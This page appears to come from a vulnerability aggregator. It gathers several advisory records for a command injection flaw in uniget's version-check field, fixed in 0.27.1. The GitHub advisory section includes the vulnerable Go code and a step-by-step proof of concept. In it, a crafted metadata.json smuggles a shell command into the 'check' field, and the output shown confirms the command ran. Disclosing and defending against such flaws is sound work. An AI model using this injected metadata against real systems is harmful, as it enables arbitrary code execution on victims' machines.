uniget: Command Injection in tool.Check Leading to Arbitrary Code Execution

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.

Source published

27 May 2026 21:05:00 UTC

Source modified

28 May 2026 12:40:02 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.

Source published

May 27, 2026, 9:05:00 PM (timezone not stated)

Source modified

May 28, 2026, 12:40:02 PM (timezone not stated)

Observed here

28 Oct 2026 06:10:48 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.

Source published

27 May 2026 22:16:36 UTC

Source modified

26 Oct 2026 12:10:00 UTC

Observed here

27 Oct 2026 11:12:23 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. ### Summary A command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. ### Details The vulnerable code is located in: `tool.go:250` Vulnerable function: ```go id="f2g0ic" func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil } ``` The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation. Related structure: ```go id="7f4yzm" type Tool struct { Check string } ``` Metadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink. Because `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection. ### PoC Step 1 — Verify the vulnerable binary: ```bash id="7k3d07" /tmp/uniget-bin --version ``` Output: ```text id="p2gk9z" uniget version main ``` Step 2 — Create malicious metadata cache: ```bash id="j5zpr0" mkdir -p ~/.local/var/cache/uniget cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check": "echo '1.0.0'; id > /tmp/rce-proof.txt", "tags": ["test"], "description": "RCE test", "repository": "https://example.com", "license": { "name": "MIT", "link": "https://example.com" }, "sources": [ { "registry": "ghcr.io", "repository": "uniget-org/tools" } ] } ] } EOF ``` Step 3 — Create placeholder binary: ```bash id="53ml7u" mkdir -p ~/.local/usr/local/bin cat > ~/.local/usr/local/bin/evil-tool << 'EOF' #!/bin/bash echo "placeholder" EOF chmod +x ~/.local/usr/local/bin/evil-tool ``` Step 4 — Trigger the vulnerable workflow: ```bash id="w4j7h4" /tmp/uniget-bin describe evil-tool --prefix ~/.local ``` Application output: ```text id="q0k54m" Name: evil-tool Description: RCE test Repository: https://example.com Version: 1.0.0 Check: <echo '1.0.0'; id > /tmp/rce-proof.txt> ``` Step 5 — Verify arbitrary command execution: ```bash id="w7r8z3" ls -la /tmp/rce-proof.txt cat /tmp/rce-proof.txt ``` Actual output: ```bash id="6plm7v" -rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker) ``` <img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" /> <img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" /> This confirms arbitrary command execution through the untrusted `check` field loaded from metadata. ### Impact This issue allows arbitrary command execution on systems running uniget when processing malicious metadata. An attacker may be able to: * Execute arbitrary shell commands * Exfiltrate sensitive files or environment variables * Install malware or backdoors * Modify or delete accessible files * Establish persistence on the victim machine * Compromise CI/CD environments using uniget automation Any user importing or processing attacker-controlled metadata may be impacted. ### Suggested Remediation Avoid using `/bin/bash -c` with untrusted input. Instead of: ```go id="ntxjlwm" exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") ``` consider executing fixed binaries and arguments directly without invoking a shell. For example: ```go id="ngbkk2" exec.Command(binary, "--version") ``` or sanitize and strictly validate allowed commands before execution. Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

Source published

13 May 2026 15:33:10 UTC

Source modified

8 Jul 2026 08:14:40 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution in gitlab.com/uniget-org/cli

Source published

25 Jun 2026 22:34:34 UTC

Source modified

25 Jun 2026 23:01:34 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.